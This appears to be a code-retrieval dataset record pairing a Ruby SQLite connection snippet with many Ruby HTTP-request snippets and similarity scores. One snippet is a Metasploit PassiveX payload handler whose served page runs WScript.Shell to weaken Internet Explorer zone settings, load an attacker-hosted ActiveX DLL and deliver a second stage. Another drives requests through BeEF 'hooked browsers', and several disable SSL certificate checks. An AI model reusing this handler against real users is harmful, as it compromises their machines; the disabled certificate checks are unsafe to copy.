"def do_request(uri, parse, method = \"GET\", args = {})\n uri = URI(uri)\n\n case method\n when \"POST\"\n req = Net::HTTP::Post.new(uri.request_uri)\n when \"PATCH\"\n req = Net::HTTP::Post.new(uri.request_uri)\n else\n req = Net::HTTP::Get.new(uri.request_uri)\n end\n\n if not args.empty?\n req.body = args.to_json\n end\n\n req.basic_auth AUTH[\"user\"], AUTH[\"pw\"]\n\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.scheme.eql? \"https\"\n http.use_ssl = true\n end\n res = http.start do |http| http.request(req) end\n if parse\n res = JSON.parse(res.body)\n else\n res = res.body\n end\n res\n end",
"def send_http_and_sysread(req)\n send_http(req).sysread 2_048\n end",
"def run\n make_request(@path)\n end",
"def handle_get\n make_response(200, obtain_scores)\nend",
"def on_request(cli, req)\n\t\tsid = nil\n\t\tresp = Rex::Proto::Http::Response.new\n\n\t\t# Grab the SID if one was supplied in the request header.\n\t\tif (req['X-Sid'] and \n\t\t (m = req['X-Sid'].match(/sid=(\\d+?)/)))\n\t\t\tsid = m[1]\n\t\tend\n\n\t\t# Process the requested resource.\n\t\tcase req.relative_resource\n\t\t\twhen \"/\"\n\t\t\t\t# Get a new sid\n\t\t\t\tself.sid_pool += 1\n\t\t\t\tnsid = sid_pool\n\n\t\t\t\tresp['Content-Type'] = 'text/html'\n\t\t\t\t# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set\n\t\t\t\t# of processes. It works, so will go ahead and commit changes and debug later to run it down.\n\t\t\t\tresp.body = %Q^<html> \n<object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}\"> \n <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\"> \n <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">\n <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\"> \n <param name=\"HttpSid\" value=\"#{nsid}\">^ + ((stage_payload) ? %Q^\n <param name=\"DownloadSecondStage\" value=\"1\">^ : \"\") + %Q^\n</object>\n<script>\nvar WshShell = new ActiveXObject(\"Wscript.Shell\");\nvar marker = true;\nvar regCheck;\nvar regRange = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\ZoneMap\\\\\\\\Ranges\\\\\\\\random\\\\\\\\\" //Can be any value\nvar regIntranet = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\1\\\\\\\\\";\n\n//Check if we've run this before.\ntry { regCheck = WshShell.RegRead(regRange + \"marker\"); } catch (e) { marker = false; }\n\nif (marker == false) {\n //Modify perms for the Intranet zone.\n WshShell.RegWrite(regIntranet + \"1001\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1004\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1201\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1208\",0,\"REG_DWORD\");\n\n //Map IP to the newly modified zone.\n WshShell.RegWrite(regRange,1,\"REG_SZ\");\n WshShell.RegWrite(regRange + \":Range\",\"#{datastore['PXHOST']}\",\"REG_SZ\");\n WshShell.RegWrite(regRange + \"*\",1,\"REG_DWORD\");\n WshShell.RegWrite(regRange + \"marker\",1,\"REG_DWORD\"); //Just a marker\n\n //Clean up after the original passivex stage1 loader; reset to default IE7 install\n var regDefault = \"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\3\\\\\\\\\";\n WshShell.RegWrite(regDefault + \"1001\",1,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1004\",3,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1201\",3,\"REG_DWORD\");\n\n //Clean up and delete the created entries\n setTimeout('WshShell.RegDelete(regIntranet + \"1001\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1004\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1200\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1201\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1208\")', 60000);\n setTimeout('WshShell.RegDelete(regRange)', 60000);\n\n WshShell.Run(\"iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\",0,false);\n}\n</script>\n</html>^\n\n\t\t\t\t# Create a new local PX session with the supplied sid\n\t\t\t\tnew_session_channel(nsid)\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX main page to client\")\n\t\t\twhen \"/passivex.dll\"\n\t\t\t\tresp['Content-Type'] = 'application/octet-stream'\n\t\t\t\tresp.body = ''\n\t\t\t\t\n\t\t\t\tFile.open(dll_path, \"rb\") { |f|\n\t\t\t\t\tresp.body = f.read\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX DLL (#{resp.body.length} bytes)\")\n\t\t\twhen \"/stage\"\n\t\t\t\tresp.body = generate_stage\n\n\t\t\t\t# Now that we've transmitted a second stage, it's time to indicate\n\t\t\t\t# that we've found a new session. We call handle_connection using\n\t\t\t\t# the lsock of the local stream.\n\t\t\t\tif (s = find_session_channel(sid))\n\t\t\t\t\tThread.new {\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\ts.remote = cli\n\t\t\t\t\t\t\thandle_connection(s.lsock)\n\t\t\t\t\t\trescue ::Exception\n\t\t\t\t\t\t\telog(\"Exception raised during PX handle connection: #{$!}\", 'core', LEV_1)\n\n\t\t\t\t\t\t\tdlog(\"Call stack:\\n#{$@.join(\"\\n\")}\", 'core', LEV_3)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\tprint_status(\"Sending stage to sid #{sid} (#{resp.body.length} bytes)\")\n\t\t\twhen \"/tunnel_in\"\n\t\t\t\ts.write_local(req.body) if (s = find_session_channel(sid))\n\t\t\twhen \"/tunnel_out\" \n\t\t\t\tcli.keepalive = true\n\t\t\t\tresp = nil\n\t\t\t\ts.remote = cli if (s = find_session_channel(sid))\n\t\t\telse\n\t\t\t\tresp.code = 404\n\t\t\t\tresp.message = \"Not found\"\n\t\tend\n\n\t\tcli.send_response(resp) if (resp)\n\tend",
"def run_request(hash)\n connection.run_request(hash[:verb], hash[:path], hash[:body],\n hash[:header])\n end",
"def http_send url, form_data, headers, &block\n if form_data['action'] == 'query'\n log.debug(\"GET: #{form_data.inspect}, #{@cookies.inspect}\")\n headers[:params] = form_data\n RestClient.get url, headers, &block\n else\n log.debug(\"POST: #{form_data.inspect}, #{@cookies.inspect}\")\n RestClient.post url, form_data, headers, &block\n end\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def http_request(url, options = {})\n\t\t\treq = Net::HTTP::Get.new(url)\n\t\t\treq[\"user-agent\"] = \"Mozilla/5.0 Gecko/20070219 Firefox/2.0.0.2\" # ensure returns XML\n\t\t\treq[\"cookie\"] = \"cookieMenu=all; cookieLangId=\" + options[:lang] + \"; cookies=true;\"\n\t\t\t\n\t\t\treq[\"cookie\"] += options[:cookie] if options[:cookie]\n\t\t\t\n\t\t\turi = URI.parse(url)\n\t\t\t\n\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\n\t\t\tif (options[:secure])\n\t\t\t\tputs \"Secure authentication\" if options[:debug]\n\n\t\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\t\t\thttp.use_ssl = true\n\t\t\tend\n\t\t \n\t\t\t\n\t\t\tbegin\n\t\t\t http.start do\n\t\t\t res = http.request req\n\t\t\t\t\t# response = res.body\n\t\t\t\t\t\n\t\t\t\t\ttries = 0\n\t\t\t\t\tresponse = case res\n\t\t\t\t\t\twhen Net::HTTPSuccess, Net::HTTPRedirection\n\t\t\t\t\t\t\tres.body\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttries += 1\n\t\t\t\t\t\t\tif tries > @@max_connection_tries\n\t\t\t\t\t\t\t\traise Wowr::Exceptions::NetworkTimeout.new('Timed out')\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tretry\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t end\n\t\t\trescue \n\t\t\t\traise Wowr::Exceptions::ServerDoesNotExist.new('Specified server at ' + url + ' does not exist.');\n\t\t\tend\n\t\tend",
"def do_http_request(path, http_method, content_type, accept, content = {})\n uri = open_connection path\n request = extract_request(uri, http_method)\n request.content_type = content_type unless content_type.to_s.empty?\n request['Accept'] = accept\n apply_headers request\n if (%w[POST PUT].include? http_method) && !content.empty?\n handle_content request, content_type, content\n end\n fire_request(uri, request)\n end",
"def send_request\n # validate that the hooked browser's session has been sent\n zombie_session = @params['zombie_session'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid session id\" if not BeEF::Filters.is_valid_hook_session_id?(zombie_session)\n \n # validate that the hooked browser exists in the db\n zombie = Z.first(:session => zombie_session) || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid hooked browser session\" if zombie.nil?\n \n # validate that the raw request has been sent\n raw_request = @params['raw_request'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request is nil\" if raw_request.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request contains non-printable chars\" if not BeEF::Filters.has_non_printable_char?(raw_request)\n \n # validate nonce\n nonce = @params['nonce'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"nonce is nil\" if nonce.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"nonce incorrect\" if @session.get_nonce != nonce\n \n # validate that the raw request is correct and can be used\n req_parts = raw_request.split(/ |\\n/) # break up the request\n verb = req_parts[0]\n raise 'Only GET or POST requests are supported' if not BeEF::Filters.is_valid_verb?(verb) #check verb\n uri = req_parts[1]\n raise 'Invalid URI' if not BeEF::Filters.is_valid_url?(uri) #check uri\n version = req_parts[2]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_http_version?(version) # check http version - HTTP/1.0\n host_str = req_parts[3]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_host_str?(host_str) # check host string - Host:\n host = req_parts[4]\n host_parts = host.split(/:/)\n hostname = host_parts[0]\n raise 'Invalid hostname' if not BeEF::Filters.is_valid_hostname?(hostname) #check the target hostname\n hostport = host_parts[1] || nil\n if !hostport.nil?\n raise 'Invalid hostport' if not BeEF::Filters.nums_only?(hostport) #check the target hostport\n end\n\n # (re)build the request\n green_request = StringIO.new(verb + \" \" + uri + \" \" + version + \"\\n\" + host_str + \" \" + host)\n request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)\n request.parse(green_request)\n \n # Saves the new HTTP request.\n http = H.new(\n :request => raw_request,\n :method => request.request_method,\n :domain => request.host,\n :path => request.unparsed_uri,\n :request_date => Time.now,\n :hooked_browser_id => zombie.id\n )\n \n if request.request_method.eql? 'POST'\n http.content_length = request.content_length\n end\n \n http.save\n \n @body = '{success : true}'\n end",
"def dispatch!\n \n # negotiates initial configuration\n @meta = self.negotiate!\n \n # dispatches hash set to the server\n self.dispatch_hashing!\n self.dispatch_hashset!\n \n # dispatches orders\n self.dispatch_orders!\n \n # dispatches messages\n self.handle_messages!\n \n end",
"def handle(http_request, response)\n start = Time.now\n request = Merb::Request.new(http_request)\n Merb.logger.info(\"Params: #{request.params.inspect}\")\n Merb.logger.info(\"Cookies: #{request.cookies.inspect}\")\n # user friendly error messages\n if request.route_params.empty?\n raise ControllerExceptions::BadRequest, \"No routes match the request\"\n elsif request.controller_name.nil?\n raise ControllerExceptions::BadRequest, \"Route matched, but route did not specify a controller\" \n end\n Merb.logger.debug(\"Routed to: #{request.route_params.inspect}\")\n # set controller class and the action to call\n klass = request.controller_class\n dispatch_action(klass, request.action, request, response)\n rescue => exception\n Merb.logger.error(Merb.exception(exception))\n exception = controller_exception(exception)\n dispatch_exception(request, response, exception)\n end",
"def run\n\n action Colors.grey(\"REQUEST \") + Colors.light_blue(\"#{options[:method].upcase} #{url}\")\n Console.instance.indent\n # run the request\n options[:ssl_verifypeer] = false\n options[:followlocation] = true\n\n Injector.decorate(options)\n\n # convert all headers keys to strings to avoid having symbols like :\"header\" when\n # declaring headers with colons instead of arrows\n if options.key?(:headers)\n new_opts = {}\n options[:headers].map do |k, v|\n new_opts[k.to_s] = v\n end\n options[:headers] = new_opts\n end\n\n if options.key?(:headers) and options[:headers].key?('Content-Type')\n ctype = options[:headers]['Content-Type']\n if ctype.include?('application/json')\n # automatically encode json content\n options[:body] = JSON.generate(options[:body], quirks_mode: true)\n end\n end\n\n\n\n self.response = Typhoeus::Request.new(url, options).run\n\n self.req_response = RequestResponse.new.tap { |r|\n r.raw_body = response.body\n r.headers = response.headers\n r.code = response.code\n r.total_time = response.total_time\n\n if !r.headers.nil? && r.headers.key?('Content-Type') && r.headers['Content-Type'].include?('application/json')\n r.body = JSON.parse(response.body)\n else\n r.body = response.body\n end\n }\n\n # reset assertion counter\n self.assert_no = 1\n\n # evaluate response against expectations\n begin\n instance_eval(&expectations)\n rescue AssertionException\n error error_msg + \" at #{expectations.source_location}\"\n raise RequestException\n rescue StandardError => e\n error 'Exception ' + e.message\n info e.backtrace.inspect\n _debug_info\n error error_msg\n raise RequestException\n ensure\n Console.instance.unindent\n end\n\n req_response\n\n end",
"def http_callback\n # sleep 4\n if @params[\"status\"] == \"error\"\n @answer_backend = {\"submit_error_message\"=> Localization::Request[:no_network]}\n WebView.navigate url_for :action => :request, :query => @answer_backend\n end\n @answer_backend = Rho::JSON.parse(@params[\"body\"])\n WebView.navigate url_for :action => :process_submit_result, :query => @answer_backend\n end",
"def handle_request(socket, request_type, request_args)\n raise 'not implemented'\n end",
"def submit\n http = Net::HTTP.new(URL.host, URL.port)\n http.use_ssl = true\n http.start { |send| send.request(self) }.body\n end",
"def perform(request, options); end",
"def execute_http_request(http, request)\n @response = http.request(request)\n @http_headers = {}\nend",
"def perform\n requests = session.requests\n number_width = Math.log10(requests.length).to_i + 1\n displayed_one = false\n requests.each_with_index do |request, index|\n next unless request.response\n\n puts(strong('-' * 80)) if displayed_one\n displayed_one = true\n\n number = (index + 1).to_s.rjust(number_width)\n print \"#{strong number} \"\n show_request request\n\n puts unless request.headers.empty?\n show_headers request.headers,\n show_asterisk_next_to: HTTY::Request::COOKIES_HEADER_NAME,\n show_mercantile_next_to: HTTY::Request::AUTHORIZATION_HEADER_NAME\n\n unless request.body.to_s.empty?\n puts\n puts request.body\n end\n\n puts\n show_response request.response\n\n puts unless request.response.headers.empty?\n show_headers request.response.headers,\n show_asterisk_next_to: HTTY::Response::COOKIES_HEADER_NAME\n\n unless request.response.body.to_s.empty?\n puts\n puts request.response.body\n end\n end\n end",
"def do_request(request, want_reply, data); end",
"def do_request(verb, path, body = nil, headers = {}, limit = 10)\n raise SwordException, 'HTTP redirection is too deep...cannot retrieve requested path: ' + path if limit == 0\n response = request(verb, path, body, headers)\n #determine response\n case response\n when Net::HTTPSuccess then response\n when Net::HTTPRedirection then do_request(verb, response['location'], body, headers, limit - 1)\n else\n response.error!\n end\n end",
"def handle_request(env)\n log_request(env) if ENV['DEBUG']\n @parliament_service.process(parsed_data(env)) if event_type(env) == 'status'\n end",
"def perform\n resp = connection.get(request_uri)\n handle_response(resp)\n # If server returns 200, everything is OK.\n self.success = resp.status == 200\n rescue Faraday::Error => e\n self.response = { message: e.message }\n self.success = false\n rescue JSON::ParserError, ::EasyManageClient::InvalidResponseContent\n # Response cannot be handled.\n self.response = { message: 'Invalid response from the server.' }\n self.success = false\n end",
"def request(params)\n unless @cookie\n do_login\n end\n begin\n do_request(params)\n rescue Excon::Errors::Unauthorized\n do_login\n do_request(params)\n end\n end",
"def request(*args, &block); end",
"def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end",
"def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end",
"def call(env)\n if WialonApi.log_requests?\n @logger.debug \"#{env[:method].to_s.upcase} #{env[:url]}\"\n @logger.debug \"body: #{env[:body].inspect}\" unless env[:method] == :get\n end\n\n super\n end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def http(uri, options = {}, &blk)\n verb = options[:http_method] || 'get'\n limit = options[:limit] || 10\n\n raise ArgumentError, 'HTTP redirect too deep' if limit == 0\n\n # Create the Net::HTTP connection and request objects\n request = REQUEST_TYPES[verb.to_s.downcase].new(uri.request_uri)\n if @resource[:headers]\n request.initialize_http_header(@resource[:headers])\n end\n\n connection = Net::HTTP.new(\n uri.host,\n uri.port,\n @resource[:proxy_host] || nil,\n @resource[:proxy_port] || nil,\n @resource[:proxy_username] || nil,\n @resource[:proxy_password] || nil\n )\n\n # Configure the Net::HTTP connection object\n if uri.scheme == 'https'\n connection.use_ssl = true\n end\n\n if connection.use_ssl? and @resource[:verify_peer] == false\n connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n # Configure the Net::HTTPRequest object\n if options[:headers]\n options[:headers].each {|key,value| request[key] = value }\n end\n \n if @resource[:username]\n request.basic_auth(@resource[:username], @resource[:password])\n end\n\n recursive_response = nil\n response = connection.start do |http|\n http.request(request) do |resp|\n # Determine and react to the request result\n case resp\n when Net::HTTPRedirection\n next_opts = options.merge(:limit => limit - 1)\n next_loc = URI.parse(resp['location'])\n recursive_response = http(next_loc, next_opts, &blk)\n when Net::HTTPSuccess\n yield resp if block_given?\n else\n raise Puppet::Error.new \"Unexpected response code #{resp.code}: #{resp.read_body}\"\n end\n end\n end\n\n recursive_response || response\n end",
"def http=(_arg0); end",
"def call(env)\n response = begin\n if env['REQUEST_METHOD'] == \"POST\"\n handle_post(env)\n else\n handle_get(env)\n end\n rescue\n response[:success] = false\n response[:error] = \"Fatal Error: #{ $! }\"\n end\n\n if response[:success]\n [200, {\"Access-Control-Allow-Origin\"=>\"*\",\"Content-Type\" => \"application/json\"}, [JSON.generate(response)] ]\n else\n [200, {\"Access-Control-Allow-Origin\"=>\"*\",\"Content-Type\" => \"application/json\"}, [JSON.generate(response)] ]\n end\n end",
"def request(*args); end",
"def request_setup request_context\n http_method = case request_context[:method]\n when :get\n Net::HTTP::Get\n when :post\n Net::HTTP::Post\n when :put\n Net::HTTP::Put\n when :delete\n Net::HTTP::Delete\n else\n raise \"Only :get, :post and :delete http method types are allowed.\"\n end\n headers = request_context[:headers] || {}\n setup = http_method.new request_context[:uri].request_uri\n setup.initialize_http_header headers\n setup.basic_auth(request_context[:uri].user, request_context[:uri].password) if request_context[:uri].user && request_context[:uri].password\n setup\n end",
"def call(env)\n request = Request.new(env) \n snip, part, format = request_uri_parts(request)\n if snip\n params = request.params.merge(:snip => snip, :part => part, \n :format => format, :method => request.request_method.downcase)\n [200, {\"Content-Type\" => \"text/html\"}, [Vanilla.present(params)]]\n else\n four_oh_four = Vanilla.present(:snip => 'system', :part => 'four_oh_four', :format => 'html')\n [404, {\"Content-Type\" => \"text/html\"}, [four_oh_four]]\n end\n end",
"def do_request(request, response)\n body = make_request(request)\n\n # Always 200. A simplification, but fine for user\n # error messages.\n response.status = 200\n response['Content-Type'] = 'text/html' \n response.body = body\n end",
"def execute_get_web_request(path, guest=false)\n if guest\n username='guest'\n password='password'\n else\n username=@username\n password=@password\n end\n uri=URI.parse \"#{@base_url}#{path}\"\n puts \"sending web request to #{uri.to_s}\"\n http_obj=Net::HTTP.new(uri.host, uri.port)\n request=Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(username, password)\n http_obj.request(request).code\n end",
"def perform!(&block)\n @on_complete = block if block_given?\n Thread.new {\n before_send.call(self) if before_send\n req = http.request(request)\n response = Response.new(req, self)\n if response.redirected? && follows?\n response.follow_redirect\n else\n on_complete.call(response) if on_complete\n response\n end\n }\n end",
"def request(params)\n unless @cookie\n do_login\n end\n begin\n do_request(params)\n rescue Excon::Errors::Unauthorized => e\n do_login\n do_request(params)\n end\n end",
"def http_call(payload); end",
"def http(method, *args)\n args.last.merge!(self.default_headers).merge!(\"X-Auth-Token\" => self.auth_token)\n response = RestClient.send(method, *args)\n @retried = false\n response\n rescue RestClient::Unauthorized\n @auth_response = nil\n if @retried\n raise\n else\n @retried = true\n retry\n end\n end",
"def make_http_request( url, options, auth_info = {} )\n try_count = 0\n \n begin\n request = Net::HTTP::Post.new(url.path)\n request.basic_auth auth_info[:hapi_username], auth_info[:hapi_password] unless auth_info.empty?\n request.set_form_data(options)\n request.add_field('User-Agent', USER_AGENT)\n \n http = Net_HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.request(request)\n rescue Errno::ECONNREFUSED\n if try_count < 2\n try_count += 1\n sleep 1\n retry\n else\n raise Backend, \"Connection refused trying to contact hAPI at #{@hapi_hostname}\"\n end\n end\n end",
"def uri_target(options)\n uri = URI.parse(options[:uri])\n http = Net::HTTP.new(uri.host, uri.port)\n\n if uri.scheme == 'https' then\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n # Timeout handler, just in case.\n response = nil\n begin\n Timeout::timeout(options[:timeout]) do\n request = Net::HTTP::Get.new(uri.request_uri)\n if (options[:user] and options[:pass]) then\n request.basic_auth(options[:user], options[:pass])\n end\n if (options[:headers]) then\n options[:headers].each do |h|\n k,v = h.split(':')\n request[k] = v\n end\n end\n response = http.request(request)\n end\n # Not sure whether a timeout should be CRIT or UNKNOWN. -- phrawzty\n rescue Timeout::Error\n say(options[:v], 'The HTTP connection timed out after %i seconds.' % [options[:timeout]])\n msg = 'Connection timed out.'\n Nagios.do_exit(2, msg)\n rescue Exception => e\n say(options[:v], 'Exception occured: %s.' % [e])\n msg = 'HTTP connection failed.'\n Nagios.do_exit(3, msg)\n end\n\n # We must get a 200 response; if not, the user might want to know.\n if not response.code.to_i == 200 then\n level = options[:status_level_default]\n if options[:status_level] then\n options[:status_level].each do |s|\n k,v = s.split(':')\n if response.code.to_i == k.to_i\n level = v.to_i\n break\n end\n end\n end\n if not level == 0 then\n msg = 'Received HTTP code %s instead of 200.' % [response.code]\n Nagios.do_exit(level.to_i, msg)\n end\n end\n\n say(options[:v], \"RESPONSE:\\n---\\n%s\\n---\" % [response.body])\n\n begin\n # Make a JSON object from the response.\n json = JSON.parse response.body\n rescue Exception => e\n say(options[:v], 'Could not parse JSON from HTTP response: %s.' % [e])\n msg = 'Parsing JSON failed.'\n Nagios.do_exit(3, msg)\n end\n\n return json\nend",
"def get(user_auth=false)\n http = new_http()\n request = Net::HTTP::Get.new(@uri.request_uri)\n initialize_header(request, @header)\n authenticate_user(request) if user_auth == true\n request.body = @payload if @payload\n log_request(request)\n response = http.request(request)\n log_response(response)\nend",
"def handle_response(response); end"
] |
[
"0.7098088",
"0.69166136",
"0.67771244",
"0.6718485",
"0.6660947",
"0.66214466",
"0.64833695",
"0.64720815",
"0.6429008",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63898075",
"0.63509077",
"0.63430524",
"0.6322778",
"0.6315401",
"0.6292794",
"0.6275064",
"0.6264205",
"0.62494874",
"0.6190572",
"0.6162597",
"0.61439747",
"0.6137389",
"0.61144614",
"0.61089367",
"0.61013776",
"0.6100663",
"0.6074724",
"0.6074724",
"0.60312676",
"0.6018858",
"0.6014385",
"0.6005479",
"0.599598",
"0.5984641",
"0.5984153",
"0.59785664",
"0.5958827",
"0.5943986",
"0.5943052",
"0.5939075",
"0.5905415",
"0.5905295",
"0.5895385",
"0.58942914",
"0.5889306",
"0.5875183",
"0.5867344",
"0.58629346",
"0.58601385",
"0.585897",
"0.58571017",
"0.58570373",
"0.5855721",
"0.5855011",
"0.58525467",
"0.5848311",
"0.5841358",
"0.5833751",
"0.5827434",
"0.5820701",
"0.5817458",
"0.58114344",
"0.58090913",
"0.5808533",
"0.5807339",
"0.5801028",
"0.57989866",
"0.5797815",
"0.57892925",
"0.5787344",
"0.57797134",
"0.5774199",
"0.5774199",
"0.5770998",
"0.5767869",
"0.57662433",
"0.5761244",
"0.57601935",
"0.57586837",
"0.57507914",
"0.57495344",
"0.574936",
"0.57448584",
"0.57416534",
"0.57365227",
"0.57344663",
"0.571599",
"0.57146066",
"0.57121396",
"0.57056206",
"0.5705607"
] |
0.0
|
-1
|
create a new db if needed and connect to it db file is named procname.db
|
def connect(processName)
@procName = processName
@db_name = processName + ".db"
# create the new db if it doesn't exist
if(!File.exists?(@db_name))
create_db
end
@db = SQLite3::Database.open(@db_name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def db_setup\n log_debug\n db_file = find_db\n db_tmp = '/tmp/plex_missing_tmp.db'\n @db = ''\n \n # cp to tmp as the db is locked if being used\n `cp \"#{db_file}\" #{db_tmp}`\n \n # not too sure why but i was having a problem where a 0 byte file was cp'd\n # def a local issue i assume but the check was needed\n if test ?s, db_tmp\n @db = SQLite3::Database.new db_tmp\n else \n puts \"error-> can not open #{db_tmp} for reasing\"\n exit 2\n end\n end",
"def create_database(name)\n end",
"def create_database(db_name)\n ret = PureHailDB.ib_database_create(db_name)\n if ret != true\n check_return_code(PureHailDB::DbError[:DB_ERROR])\n end\n end",
"def open\n create_database\n end",
"def create_database\n puts \"Creating database #{@db_name}...\"\n begin\n client = Mysql2::Client.new(:host => @db_host, :username => @db_user, :password => @db_pass)\n client.query(\"CREATE DATABASE #{@db_name}\")\n client.close\n rescue Exception => e\n puts \"An error occurred\\n #{e}\"\n end\n end",
"def database! name\n create_db(name) rescue nil\n database name\n end",
"def open_db\n if Config.db =~ /^sqlite:\\/{3}(.+)$/\n dir = File.dirname($1)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n end\n\n Sequel.datetime_class = Time\n\n @db = Sequel.connect(Config.db, :encoding => 'utf8')\n @db.test_connection\n\n if trait[:sql_log]\n require 'logger'\n @db.logger = Logger.new(trait[:sql_log])\n end\n\n rescue => e\n Ramaze::Log.error(\"Unable to connect to database: #{e}\")\n exit(1)\n end",
"def create_database!(name=nil)\n db = if name\n self.server.database!(db_name_with_prefix(name))\n else\n self.database!\n end\n create_rotation_filter(db)\n if self.respond_to?(:design_doc)\n design_doc.sync!(db)\n # or maybe this?:\n #self.design_docs.each do |design|\n # design.migrate(to_db)\n #end\n end\n return db\n end",
"def db\n @db ||= find_or_create_database\n end",
"def create_db name\n \n req = Net::HTTP::Put.new \"/#{name}\"\n ret = @http.request req\n \n puts \"Creating Database #{name} => #{ret.msg} (#{ret.code})\\n\"\n \n end",
"def find_or_create_db(filename)\n SQLite3::Database.new(filename)\n end",
"def create_database(name)\n @logger.unknown(\"ODBCAdapter#create_database>\") if @trace\n @logger.unknown(\"args=[#{name}]\") if @trace\n execute \"CREATE DATABASE #{name}\"\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @trace\n raise\n end",
"def open_database\n if File.exist? @database_path\n validate_database\n @db = SQLite3::Database.new @database_path\n else\n initialize_database\n end\n end",
"def create_database\n if dockerized?\n puts \"Running inside of a docker container\"\n puts \"No systemd support, skipping mysql configuration\"\n return\n end\n\n Runner.activate_service(\"mysql\") if database_local?\n\n env_variables = {\n \"SKIP_MIGRATION\" => \"yes\",\n \"PORTUS_PASSWORD\" => @portus_password\n }\n puts \"Creating Portus' database\"\n Runner.bundler_exec(\"rake\", [\"db:create\"], env_variables)\n\n puts \"Running database migrations\"\n Runner.bundler_exec(\"rake\", [\"db:migrate\"], env_variables)\n\n puts \"Seeding database\"\n begin\n Runner.bundler_exec(\"rake\", [\"db:seed\"], env_variables)\n rescue\n puts \"Something went wrong while seedeing the database\"\n puts \"Are you sure the database is empty?\"\n puts \"Ignoring error\"\n end\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/tmp\")\n end",
"def create_db(options)\n info \"Created database '#{options[:name]}'\"\n end",
"def get_db(dbname)\n Database.new(dbname, @socket, self)\n end",
"def create_db_cmd!\n \"createdb -e #{new_db_name}\"\n end",
"def get_db\n # we want to check a couple levels 2011-09-28 \n unless @db\n unless File.exists? @file\n 3.times do |i|\n @file = \"../#{@file}\"\n break if File.exists? @file\n end\n end\n end\n @db ||= DB.new @file\n end",
"def create_database(db_name)\n config = Rails.configuration.database_configuration[Rails.env]\n password = Shellwords.escape(config['password'])\n new_db = \"mysqldump -u#{config['username']} -p#{password} -h#{config['host']} #{config['database']} > /home/rails/current/tmp/backup.sql;\n mysqladmin -u#{config['username']} -p#{password} create #{db_name};\n mysql -u#{config['username']} -p#{password} -h#{config['host']} #{db_name} < /home/rails/current/tmp/backup.sql\"\n system new_db\n end",
